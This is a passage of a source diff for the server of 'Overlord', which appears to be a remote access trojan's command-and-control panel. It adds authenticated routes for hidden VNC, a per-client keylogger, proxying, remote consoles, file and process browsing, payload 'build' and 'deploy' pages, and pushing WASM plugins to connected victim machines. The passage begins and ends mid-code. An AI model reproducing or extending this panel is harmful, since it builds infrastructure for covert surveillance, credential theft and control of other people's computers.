if (!/^https?:$/.test(parsed.protocol)) {
|
||||
return Response.json(
|
||||
{ error: "Webhook URL must be http(s)" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
|
||||
}
|
||||
}
|
||||
|
||||
const updated = await updateNotificationsConfig({
|
||||
keywords,
|
||||
webhookEnabled,
|
||||
webhookUrl,
|
||||
telegramEnabled,
|
||||
telegramBotToken,
|
||||
telegramChatId,
|
||||
});
|
||||
|
||||
for (const client of clientManager.getAllClients().values()) {
|
||||
if (client.role !== "client") continue;
|
||||
try {
|
||||
client.ws.send(
|
||||
encodeMessage({
|
||||
type: "notification_config",
|
||||
keywords: updated.keywords || [],
|
||||
minIntervalMs: updated.minIntervalMs || 8000,
|
||||
}),
|
||||
);
|
||||
} catch {}
|
||||
}
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Updated notification keywords (${updated.keywords.length})`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, notifications: updated });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,316 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { getUserById } from "../../users";
|
||||
|
||||
type PageRouteDeps = {
|
||||
PUBLIC_ROOT: string;
|
||||
secureHeaders: (contentType?: string) => Record<string, string>;
|
||||
mimeType: (path: string) => string;
|
||||
};
|
||||
|
||||
async function serveLoginOrUnauthorized(deps: PageRouteDeps): Promise<Response> {
|
||||
const loginFile = Bun.file(`${deps.PUBLIC_ROOT}/login.html`);
|
||||
if (await loginFile.exists()) {
|
||||
return new Response(loginFile, { headers: deps.secureHeaders(deps.mimeType("/login.html")) });
|
||||
}
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
async function serveChangePasswordIfRequired(
|
||||
deps: PageRouteDeps,
|
||||
userId: number,
|
||||
): Promise<Response | null> {
|
||||
const dbUser = getUserById(userId);
|
||||
if (dbUser && dbUser.must_change_password) {
|
||||
const changePassFile = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`);
|
||||
if (await changePassFile.exists()) {
|
||||
return new Response(changePassFile, {
|
||||
headers: deps.secureHeaders(deps.mimeType("/change-password.html")),
|
||||
});
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export async function handlePageRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: PageRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (req.method === "GET" && (url.pathname === "/" || url.pathname === "/index.html")) {
|
||||
const authed = await authenticateRequest(req);
|
||||
|
||||
if (authed) {
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
}
|
||||
|
||||
const filePath = authed ? "/index.html" : "/login.html";
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(filePath)) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/change-password.html") {
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/remotedesktop") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/remotedesktop.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("remotedesktop.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/hvnc") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/hvnc.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("hvnc.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/metrics") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/metrics.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("metrics.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/logs") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
try {
|
||||
requirePermission(user, "audit:view");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/logs.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("logs.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/notifications") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/notifications.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, {
|
||||
headers: deps.secureHeaders(deps.mimeType("notifications.html")),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/users") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/users.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("users.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/build") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/build.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("build.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/plugins") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/plugins.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("plugins.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
const consolePageMatch = url.pathname.match(/^\/(.+)\/console$/);
|
||||
if (req.method === "GET" && consolePageMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/console.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("console.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
const filesPageMatch = url.pathname.match(/^\/(.+)\/files$/);
|
||||
if (req.method === "GET" && filesPageMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/filebrowser.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("filebrowser.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
const processesPageMatch = url.pathname.match(/^\/(.+)\/processes$/);
|
||||
if (req.method === "GET" && processesPageMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/processes.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("processes.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
const keyloggerPageMatch = url.pathname.match(/^\/(.+)\/keylogger$/);
|
||||
if (req.method === "GET" && keyloggerPageMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/keylogger.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("keylogger.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
const proxyPageMatch = url.pathname.match(/^\/(.+)\/proxy$/);
|
||||
if (req.method === "GET" && proxyPageMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/proxy.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("proxy.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/scripts") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot execute scripts", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/scripts.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("scripts.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/deploy") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/deploy.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("deploy.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,465 @@
|
||||
import fs from "fs/promises";
|
||||
import path from "path";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { metrics } from "../../metrics";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
|
||||
type PluginManifest = {
|
||||
id: string;
|
||||
name: string;
|
||||
};
|
||||
|
||||
type PluginBundle = {
|
||||
manifest: PluginManifest;
|
||||
wasm: Uint8Array;
|
||||
};
|
||||
|
||||
type PluginState = {
|
||||
enabled: Record<string, boolean>;
|
||||
lastError: Record<string, string>;
|
||||
};
|
||||
|
||||
type PluginRouteDeps = {
|
||||
PLUGIN_ROOT: string;
|
||||
pluginState: PluginState;
|
||||
pluginLoadedByClient: Map<string, Set<string>>;
|
||||
pluginLoadingByClient: Map<string, Set<string>>;
|
||||
pendingPluginEvents: Map<string, Array<{ event: string; payload: any }>>;
|
||||
sanitizePluginId: (name: string) => string;
|
||||
ensurePluginExtracted: (pluginId: string) => Promise<void>;
|
||||
savePluginState: () => Promise<void>;
|
||||
listPluginManifests: () => Promise<PluginManifest[]>;
|
||||
loadPluginBundle: (pluginId: string) => Promise<PluginBundle>;
|
||||
sendPluginBundle: (target: any, bundle: PluginBundle) => void;
|
||||
markPluginLoading: (clientId: string, pluginId: string) => void;
|
||||
isPluginLoaded: (clientId: string, pluginId: string) => boolean;
|
||||
isPluginLoading: (clientId: string, pluginId: string) => boolean;
|
||||
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
|
||||
secureHeaders: (contentType?: string) => Record<string, string>;
|
||||
securePluginHeaders: () => Record<string, string>;
|
||||
mimeType: (path: string) => string;
|
||||
};
|
||||
|
||||
export async function handlePluginRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: PluginRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (
|
||||
!url.pathname.startsWith("/api/plugins") &&
|
||||
!url.pathname.startsWith("/plugins/") &&
|
||||
!url.pathname.match(/^\/api\/clients\/.+\/plugins/)
|
||||
) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/plugins") {
|
||||
if (!(await authenticateRequest(req))) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const plugins = await deps.listPluginManifests();
|
||||
const enriched = plugins.map((p) => ({
|
||||
...p,
|
||||
enabled: deps.pluginState.enabled[p.id] !== false,
|
||||
lastError: deps.pluginState.lastError[p.id] || "",
|
||||
}));
|
||||
return Response.json({ plugins: enriched });
|
||||
}
|
||||
|
||||
const clientPluginsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins$/);
|
||||
if (req.method === "GET" && clientPluginsMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const clientId = clientPluginsMatch[1];
|
||||
const loaded = deps.pluginLoadedByClient.get(clientId) || new Set<string>();
|
||||
const manifests = await deps.listPluginManifests();
|
||||
const plugins = manifests.map((manifest) => ({
|
||||
id: manifest.id,
|
||||
name: manifest.name || manifest.id,
|
||||
loaded: loaded.has(manifest.id),
|
||||
enabled: deps.pluginState.enabled[manifest.id] !== false,
|
||||
lastError: deps.pluginState.lastError[manifest.id] || "",
|
||||
}));
|
||||
return Response.json({ plugins });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/plugins/upload") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
let form: FormData;
|
||||
try {
|
||||
form = await req.formData();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const file = form.get("file");
|
||||
if (!(file instanceof File)) {
|
||||
return new Response("Missing file", { status: 400 });
|
||||
}
|
||||
|
||||
const filename = file.name || "plugin.zip";
|
||||
if (!filename.toLowerCase().endsWith(".zip")) {
|
||||
return new Response("Only .zip files are supported", { status: 400 });
|
||||
}
|
||||
|
||||
const base = path.basename(filename, path.extname(filename));
|
||||
let pluginId = "";
|
||||
try {
|
||||
pluginId = deps.sanitizePluginId(base);
|
||||
} catch {
|
||||
return new Response("Invalid plugin name", { status: 400 });
|
||||
}
|
||||
|
||||
await fs.mkdir(deps.PLUGIN_ROOT, { recursive: true });
|
||||
const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`);
|
||||
const data = new Uint8Array(await file.arrayBuffer());
|
||||
await fs.writeFile(zipPath, data);
|
||||
|
||||
try {
|
||||
await deps.ensurePluginExtracted(pluginId);
|
||||
} catch (err) {
|
||||
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
|
||||
}
|
||||
|
||||
if (deps.pluginState.enabled[pluginId] === undefined) {
|
||||
deps.pluginState.enabled[pluginId] = true;
|
||||
await deps.savePluginState();
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, id: pluginId });
|
||||
}
|
||||
|
||||
const pluginEnableMatch = url.pathname.match(/^\/api\/plugins\/(.+)\/enable$/);
|
||||
if (req.method === "POST" && pluginEnableMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
let pluginId = "";
|
||||
try {
|
||||
pluginId = deps.sanitizePluginId(pluginEnableMatch[1]);
|
||||
} catch {
|
||||
return new Response("Invalid plugin id", { status: 400 });
|
||||
}
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {}
|
||||
const enabled = !!body.enabled;
|
||||
deps.pluginState.enabled[pluginId] = enabled;
|
||||
await deps.savePluginState();
|
||||
return Response.json({ ok: true, id: pluginId, enabled });
|
||||
}
|
||||
|
||||
const pluginDeleteMatch = url.pathname.match(/^\/api\/plugins\/(.+)$/);
|
||||
if (req.method === "DELETE" && pluginDeleteMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
let pluginId = "";
|
||||
try {
|
||||
pluginId = deps.sanitizePluginId(pluginDeleteMatch[1]);
|
||||
} catch {
|
||||
return new Response("Invalid plugin id", { status: 400 });
|
||||
}
|
||||
|
||||
const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`);
|
||||
const pluginDir = path.join(deps.PLUGIN_ROOT, pluginId);
|
||||
|
||||
try {
|
||||
await fs.rm(zipPath, { force: true });
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
await fs.rm(pluginDir, { recursive: true, force: true });
|
||||
} catch {}
|
||||
|
||||
deps.pluginLoadedByClient.forEach((set) => set.delete(pluginId));
|
||||
deps.pluginLoadingByClient.forEach((set) => set.delete(pluginId));
|
||||
delete deps.pluginState.enabled[pluginId];
|
||||
delete deps.pluginState.lastError[pluginId];
|
||||
await deps.savePluginState();
|
||||
|
||||
return Response.json({ ok: true, id: pluginId });
|
||||
}
|
||||
|
||||
const pluginLoadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/load$/);
|
||||
if (req.method === "POST" && pluginLoadMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
const targetId = pluginLoadMatch[1];
|
||||
const pluginId = pluginLoadMatch[2];
|
||||
const target = clientManager.getClient(targetId);
|
||||
if (!target) return new Response("Not found", { status: 404 });
|
||||
if (deps.isPluginLoaded(targetId, pluginId)) {
|
||||
return Response.json({ ok: true, alreadyLoaded: true });
|
||||
}
|
||||
if (deps.isPluginLoading(targetId, pluginId)) {
|
||||
return Response.json({ ok: true, loading: true });
|
||||
}
|
||||
try {
|
||||
const bundle = await deps.loadPluginBundle(pluginId);
|
||||
deps.markPluginLoading(targetId, pluginId);
|
||||
deps.sendPluginBundle(target, bundle);
|
||||
metrics.recordCommand("plugin_load");
|
||||
return Response.json({ ok: true });
|
||||
} catch (err) {
|
||||
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
|
||||
}
|
||||
}
|
||||
|
||||
const pluginEventMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/event$/);
|
||||
if (req.method === "POST" && pluginEventMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const targetId = pluginEventMatch[1];
|
||||
const pluginId = pluginEventMatch[2];
|
||||
const target = clientManager.getClient(targetId);
|
||||
if (!target) return new Response("Not found", { status: 404 });
|
||||
if (deps.pluginState.enabled[pluginId] === false) {
|
||||
return Response.json({ ok: false, error: "Plugin disabled" }, { status: 400 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
body = {};
|
||||
}
|
||||
const event = typeof body.event === "string" ? body.event : "";
|
||||
const payload = body.payload;
|
||||
if (!event) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
if (!deps.isPluginLoaded(targetId, pluginId)) {
|
||||
deps.enqueuePluginEvent(targetId, pluginId, event, payload);
|
||||
if (!deps.isPluginLoading(targetId, pluginId)) {
|
||||
try {
|
||||
const bundle = await deps.loadPluginBundle(pluginId);
|
||||
deps.markPluginLoading(targetId, pluginId);
|
||||
deps.sendPluginBundle(target, bundle);
|
||||
metrics.recordCommand("plugin_load");
|
||||
} catch (err) {
|
||||
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
|
||||
}
|
||||
}
|
||||
metrics.recordCommand("plugin_event");
|
||||
return Response.json({ ok: true, queued: true });
|
||||
}
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "plugin_event",
|
||||
pluginId,
|
||||
event,
|
||||
payload,
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("plugin_event");
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
|
||||
const pluginUnloadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/unload$/);
|
||||
if (req.method === "POST" && pluginUnloadMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const targetId = pluginUnloadMatch[1];
|
||||
const pluginId = pluginUnloadMatch[2];
|
||||
const target = clientManager.getClient(targetId);
|
||||
if (!target) return new Response("Not found", { status: 404 });
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "plugin_unload",
|
||||
id: uuidv4(),
|
||||
payload: { pluginId },
|
||||
}),
|
||||
);
|
||||
|
||||
deps.pluginLoadedByClient.get(targetId)?.delete(pluginId);
|
||||
deps.pluginLoadingByClient.get(targetId)?.delete(pluginId);
|
||||
deps.pendingPluginEvents.delete(`${targetId}:${pluginId}`);
|
||||
|
||||
return Response.json({ ok: true, id: pluginId });
|
||||
}
|
||||
|
||||
const pluginFrameMatch = url.pathname.match(/^\/plugins\/([^/]+)\/frame$/);
|
||||
if (req.method === "GET" && pluginFrameMatch) {
|
||||
let pluginId = "";
|
||||
try {
|
||||
pluginId = deps.sanitizePluginId(pluginFrameMatch[1]);
|
||||
} catch {
|
||||
return new Response("Invalid plugin id", { status: 400 });
|
||||
}
|
||||
|
||||
const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`);
|
||||
const file = Bun.file(htmlFile);
|
||||
if (!(await file.exists())) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const raw = await file.text();
|
||||
const baseTag = `<base href="/plugins/${pluginId}/assets/" />`;
|
||||
const bridgeTag = `<script src="/assets/plugin-bridge.js"></script>`;
|
||||
let injected = raw;
|
||||
|
||||
const headMatch = raw.match(/<head[^>]*>/i);
|
||||
if (headMatch) {
|
||||
injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`);
|
||||
}
|
||||
|
||||
if (injected.includes("</head>")) {
|
||||
injected = injected.replace("</head>", ` ${bridgeTag}\n </head>`);
|
||||
} else if (injected.includes("</body>")) {
|
||||
injected = injected.replace("</body>", ` ${bridgeTag}\n</body>`);
|
||||
} else {
|
||||
injected = `${bridgeTag}\n${injected}`;
|
||||
}
|
||||
|
||||
return new Response(injected, {
|
||||
headers: { ...deps.securePluginHeaders(), "Content-Type": "text/html; charset=utf-8" },
|
||||
});
|
||||
}
|
||||
|
||||
const pluginPageMatch = url.pathname.match(/^\/plugins\/([^/]+)$/);
|
||||
if (req.method === "GET" && pluginPageMatch) {
|
||||
let pluginId = "";
|
||||
try {
|
||||
pluginId = deps.sanitizePluginId(pluginPageMatch[1]);
|
||||
} catch {
|
||||
return new Response("Invalid plugin id", { status: 400 });
|
||||
}
|
||||
|
||||
const clientId = url.searchParams.get("clientId") || "";
|
||||
const bridgeToken = uuidv4();
|
||||
const origin = url.origin;
|
||||
const iframeSrc = `/plugins/${pluginId}/frame?clientId=${encodeURIComponent(clientId)}&token=${encodeURIComponent(bridgeToken)}&origin=${encodeURIComponent(origin)}`;
|
||||
|
||||
const html = `<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>${pluginId} - Overlord Plugin</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||
crossorigin="anonymous"
|
||||
referrerpolicy="no-referrer"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/main.css" />
|
||||
</head>
|
||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||
<header id="top-nav"></header>
|
||||
<main class="px-5 py-6">
|
||||
<div class="max-w-6xl mx-auto">
|
||||
<div class="rounded-2xl border border-slate-800 bg-slate-900/50 overflow-hidden">
|
||||
<iframe
|
||||
id="plugin-frame"
|
||||
src="${iframeSrc}"
|
||||
sandbox="allow-scripts"
|
||||
class="w-full h-[calc(100vh-220px)] bg-slate-950"
|
||||
></iframe>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
<div
|
||||
id="plugin-host"
|
||||
data-bridge-token="${bridgeToken}"
|
||||
></div>
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script src="/assets/plugin-host.js"></script>
|
||||
</body>
|
||||
</html>`;
|
||||
|
||||
return new Response(html, { headers: deps.secureHeaders("text/html; charset=utf-8") });
|
||||
}
|
||||
|
||||
const pluginAssetMatch = url.pathname.match(/^\/plugins\/([^/]+)\/assets\/(.+)$/);
|
||||
if (req.method === "GET" && pluginAssetMatch) {
|
||||
const [, pluginId, assetPath] = pluginAssetMatch;
|
||||
let decodedPath = assetPath;
|
||||
try {
|
||||
decodedPath = decodeURIComponent(assetPath);
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
if (decodedPath.includes("\u0000") || path.isAbsolute(decodedPath)) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const assetsRoot = path.join(deps.PLUGIN_ROOT, pluginId, "assets");
|
||||
const normalized = decodedPath.replace(/\\/g, "/");
|
||||
const resolvedPath = path.resolve(assetsRoot, normalized);
|
